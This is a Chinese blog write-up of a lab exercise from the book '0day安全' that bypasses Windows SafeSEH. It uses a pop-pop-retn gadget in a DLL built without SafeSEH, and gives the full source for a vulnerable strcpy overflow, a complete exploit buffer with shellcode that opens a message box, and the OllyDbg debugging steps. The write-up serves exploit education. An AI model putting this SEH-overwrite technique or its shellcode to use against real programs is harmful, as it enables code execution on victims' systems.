SafeSEH Exploit——利用未啟用SafeSEH的DLL

實驗內(nèi)容和代碼均修改自《0day安全》第二版

實驗環(huán)境

操作系統(tǒng): Windows XP SP3 DEP關(guān)閉
EXE編譯器: Visual Studio 2008
DLL編譯器: VC++6.0 dll 基址設(shè)置 /base:"0x11120000"
編譯選項: 禁用優(yōu)化 (/0d)
build版本: release版本

實驗原理

結(jié)合之前的內(nèi)容,可以了解到對于未啟用 SafeSEH 的 dll 中的函數(shù),如果該函數(shù)被調(diào)用作為異常處理函數(shù),只要不包含中間語言(IL),這個函數(shù)就可以通過 SafeSEH 機制的校驗,進而被執(zhí)行。

為了繞過 SafeSEH 的校驗,我們常常選擇一個跳板作為偽造的異常處理函數(shù)來“騙”過校驗。包括之前堆中的 shellcode,這里未啟用 SafeSEH 的模塊,以及之后會提到的加載模塊之外的指令跳板。區(qū)別在于對于堆來說 shellcode 存放在堆中;而這里的shellcode需要從“異常處理函數(shù)”返回到棧中來執(zhí)行。

但從原理上來說,這些思想在實現(xiàn) 溢出-借助跳板-執(zhí)行shellcode 的思路上都是大同小異的。

實驗代碼

先是用 VC++6.0 編譯的DLL文件,源碼如下:

// SEH_NoSafeSEH_JUMP.cpp : Defines the entry point for the DLL application.
//

#include "stdafx.h"
BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    return TRUE;
}
void jump()
{
__asm{
    pop eax
    pop eax
    retn
    }
}

由于VC++6.0 編譯的DLL默認基址為0x10000000,即我們需要的跳板地址中包含了 0x00 ,會截斷 strcpy ,所以這里需要更改一下工程選項,將默認的基址改掉,這里改為/base:"0x11120000"。



(注:或許第一次接觸的話會疑惑為什么改了以后裝載基址中還是含有0x00。其實,DLL 文件中,代碼片還有一個偏移量,一般是 0x1000 ,而最低位的 0x00 也會被我們需要的跳板代碼的起始位置所替換,所以最后使用的跳板地址中便不會含有 0x00 了。)

接下來是 VS2008 編譯的EXE:


#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=


"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x12\x10\x12\x11"http://address of pop pop retn in No_SafeSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

;

DWORD MyException(void)
{
    printf("There is an exception");
    getchar();
    return 1;
}
void test(char * input)
{
    char str[200];
    strcpy(str,input);  
    int zero=0;
    __try
    {
        zero=1/zero;
    }
    __except(MyException())
    {
    }
}
int _tmain(int argc, _TCHAR* argv[])
{
    HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module
    char str[200];
    //__asm int 3
    test(shellcode);
    return 0;
}

大致思路與之前一致,在這里先裝載了一個未啟用 SafeSEH 的DLL,在 test 函數(shù)中通過 strcpy 制造溢出,湮沒異常處理函數(shù)指針指向該DLL,再刻意制造了一個除零異常,借助該DLL中 pop pop retn 指令作為跳板,繞過 SafeSEH 校驗,并劫持程序返回棧中執(zhí)行 shellcode 。

調(diào)試過程

由于 DLL 裝載地址是固定的,這里我采用 OD 直接打開該程序進行調(diào)試。
找到 main 函數(shù)跟進,執(zhí)行完 LoadLibrary 后,使用 OllySEEH 插件查看加載的 DLL 的 SafeSEH 情況。

可以看到該 DLL 的加載基址為之前設(shè)置的0x11120000。
如果之前沒有分析過 DLL ,可以先用 LordPE 打開該 DLL 文件,結(jié)構(gòu)就一目了然了。

得到裝載基址為 0x11120000,代碼片的偏移為 0x1000,即我們在這個 DLL 中添加的pop pop retn指令可以從0x11121000開始找。

接下來轉(zhuǎn)到該位置查看設(shè)定的 pop pop retn 指令位置,在后面的 code 中也有別的可以利用的 pop pop retn 指令(如下圖 0x11121017 處),這里我們用的是自主添加的位置 0x11121012 的指令作為跳板。

確定好跳板地址后,我們跟進程序,進入 test 函數(shù)執(zhí)行流程,在 strcpy 函數(shù)執(zhí)行完畢處中斷:
(只要嘗試跟進字符串復(fù)制流程即可發(fā)現(xiàn),strcpy 執(zhí)行時是一個字節(jié)一個字節(jié)覆蓋的,所以只要簡單地定位到 jnz 的下一條指令即可定位到 strcpy 完成處,完成處還會將 0x00 添加到字符串尾,如這里的 mov dword ptr ss:[ebp-0x1c], 0x0 這條指令,用來表示字符串結(jié)束。)

再觀察棧的情況可以看到字符串的起始地址為 0x0012FDB8

另外由于 SEH 節(jié)點是保存在棧中的,一般距離當(dāng)前棧幀最近的 SEH 節(jié)點位于 ESP 下方(高位),往后翻即可看到,當(dāng)然也可以直接通過 OD 查看 SEH Chain 。

得到最近的節(jié)點位于 0x0012FE90 ,所以最近的異常處理函數(shù)指針位于 0x0012FE90 + 4 的位置(前四個字節(jié)指向下一個節(jié)點,當(dāng)然這里只有這一個異常處理節(jié)點)。

到這里,調(diào)試已經(jīng)接近尾聲了,可是還沒有完全成功。結(jié)合上面 strcpy 執(zhí)行完成后的匯編指令以及之前的源代碼,這里有一個細節(jié):VS2008 編譯的函數(shù),在進入 __try{} 語句塊時,會在 Security Cookie + 4 的位置壓入一個值 。這個值會根據(jù)該語句塊在函數(shù)中的位置而修改成不同的值。

例如兩個 __try{} 語句塊,進入第一個時該值為 0 ,進入第二個時為1。出現(xiàn)異?;蛱幚硗戤吅筚x值為 -2(VS2008 編譯的為-2,VC++6.0 中為 -1) 。

該值在異常處理中還有其他用途,這里不做展開。然而,它對我們的 shellcode 可能會造成影響,即可能會截斷我們的機器碼。

由上圖可以看到,如果在shellcode 的 pop pop retn 地址后直接跟上我們的機器碼,那么勢必會被這個異常處理的值給破壞。所以我們再加上8個 \x90 的填充即可。

最后經(jīng)過計算,shellcode 的整體布局為:220個字節(jié)的 \x90 填充,4字節(jié)的跳板地址,8字節(jié)的填充,168字節(jié)的機器碼。

F9 讓程序繼續(xù)執(zhí)行即可看到彈出對話框



你以為結(jié)束了?
其實這里還有另外兩個小插曲。

第一個小插曲:
一個是我們這里劫持的程序流程位于shellcode的起始位置,而shellcode中的一部分已經(jīng)被跳板的地址和 __try{} 語句塊需要的值給污染了,雖然很幸運地在這里這兩處污染不會影響程序邏輯,但謹慎點總是好的。故而我們這里可以將 shellcode 起始位置處的 \x90\x90 改為一個簡單的短跳轉(zhuǎn),短轉(zhuǎn)移偏移量 = 0x0012FEA0 - 0x0012FE90 - 2 = 0x0E,因為 jmp 跳轉(zhuǎn)基址是按照下一條指令來確定的,要減去兩個字節(jié)的短轉(zhuǎn)移指令長。

如果難以清晰理解的話可以參見下圖:


我們只要構(gòu)造短轉(zhuǎn)移指令機器碼0xEB0E (EB 為短轉(zhuǎn)移指令機器碼),置入0x0012FE90對應(yīng)的 shellcode 位置,如此便不用擔(dān)心 shellcode 被污染的問題了。

第二個小插曲:
我們選擇pop pop retn的原因是,在進入異常函數(shù)處理之時,棧的情況是 esp +8 的位置保存了處理該異常的 SEH 節(jié)點首地址 0x0012FE90 ,那為什么這個地址會入棧呢?

簡單地講,在通過 SEH 進行異常處理的時候,會先把當(dāng)前 SEH 節(jié)點的首地址,也就是 nextSEH 的指針壓入棧( 正常情況下,如果第一個節(jié)點無法處理該異常,轉(zhuǎn)向下一節(jié)點),然后壓進去兩個現(xiàn)場相關(guān)的參數(shù)。所以兩次 pop 之后,retn 指令賦值給 eip 的內(nèi)容自然是當(dāng)前 SEH 節(jié)點的首地址 0x0012FE90 了。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容